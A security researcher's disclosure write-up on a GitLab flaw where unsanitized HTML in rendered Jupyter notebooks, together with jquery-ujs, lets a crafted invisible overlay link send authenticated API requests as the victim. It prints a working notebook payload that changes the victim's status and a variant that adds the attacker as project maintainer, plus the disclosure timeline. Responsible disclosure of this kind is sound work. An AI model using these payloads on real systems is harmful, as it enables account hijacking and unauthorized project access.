Security Vulnerability in GitLab: Sending Arbitrary Requests through Jupyter Notebooks
GitLab is a DevOps platform that supports millions of users in managing their software development process. As part of this, GitLab also supports data scientists with features like the rich representation of Jupyter notebooks:
Jupyter Notebooks
Through their web-based interactive development environment, Jupyter notebooks allow easily sharing workflows for data science or computational journalism.
Different programming languages such as Python can be used to define these workflows by combining smaller units, so-called cells. In addition to programming languages, these cells can also display HTML.
Although the rich representation of Jupyter notebooks in GitLab is more limited than in tools like nbviewer
, cells with HTML are still rendered on GitLab.
Exploiting Rich Representation of Jupyter Notebooks in GitLab
While browsing through existing GitLab vulnerabilities on HackerOne, I noticed that the rich representation of OpenAPI specifications was once subject to a stored XSS vulnerability . This made me curious whether this type of vulnerability could also apply to other rich representations in GitLab. So I started fiddling with the Jupyter notebook viewer of GitLab and was rewarded!
The vulnerability that I discovered, exploits a lack of sanitization in the output of GitLab's Jupyter notebook viewer and uses jquery-ujs
, a npm package used in GitLab, as a gadget.
Lack of Sanitization in Jupyter Notebook Rendering
Storing the following Jupyter notebook as payload in GitLab:
_32{_32 "cells": [_32 {_32 "metadata": {},_32 "cell_type": "markdown",_32 "source": [_32 "<a data-method=\"put\" data-params=\"message=p0wn3d\" data-remote=\"true\" href=\"/api/v4/user/status\" style=\"background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000\" />"_32 ]_32 }_32 ],_32 "metadata": {_32 "kernelspec": {_32 "name": "python3",_32 "display_name": "Python 3",_32 "language": "python"_32 },_32 "language_info": {_32 "name": "python",_32 "version": "3.6.10",_32 "mimetype": "text/x-python",_32 "codemirror_mode": {_32 "name": "ipython",_32 "version": 3_32 },_32 "pygments_lexer": "ipython3",_32 "nbconvert_exporter": "python",_32 "file_extension": ".py"_32 }_32 },_32 "nbformat": 4,_32 "nbformat_minor": 2_32}
outputs the contained HTML without sanitization:
<a data-method="put" data-params="message=p0wn3d" data-remote="true" href="/api/v4/user/status" style="background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000"/>
While this is just an invisible link, the styling creates a layer on top of the Jupyter notebook viewer that triggers the link upon the first click of the user.
Using jquery-ujs
to Send Arbitrary HTTP Requests
The lack of sanitization for the HTML is not a vulnerability in itself, though. The rendered data-*
attributes only become a vulnerability in combination with jquery-ujs
which was used by GitLab at the time of discovering this vulnerability. The npm package allows to make HTTP requests from links, i.e., <a>
HTML elements using data-*
attributes.
The exemplary payload from above specifies that we want to craft an asynchronous (i.e., data-remote="true"
) PUT request (i.e., data-method="put"
) to https://gitlab.com/api/v4/user/status
(i.e., href="/api/v4/user/status"
) with the parameter {'message': 'p0wn3d'}
(i.e., data-params="message=p0wn3d"
). That is, we want to change the status of the victim's profile to p0wn3d
.
Impact
While changing the victim's status has a limited impact, impersonating a victim in the face of GitLab's API can be very harmful. As such, consider the following payload which would cause a victim to name the attacker as maintainer on a desired project:
<a data-method="put" data-params="user_id=<ATTACKER_ID>&access_level=40" data-remote="true" data-url="/api/v4/projects/<PROJECT_ID>/members" style="background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000"/>
where <ATTACKER_ID>
would be the attacker's user ID on GitLab and <PROJECT_ID>
would be the ID of the GitLab project to gain access to.
Timeline
I responsibly disclosed this vulnerability through GitLab's bug bounty program on HackerOne:
- [2020-08-30] Reported the vulnerability to GitLab
- [2020-08-31] Updated the report with simplification of exploit
- [2020-09-02] Updated the report with a follow-up of technical details
- [2020-09-07] GitLab verified the vulnerability
- [2021-09-21] GitLab shipped a fix for the vulnerability with version 14.3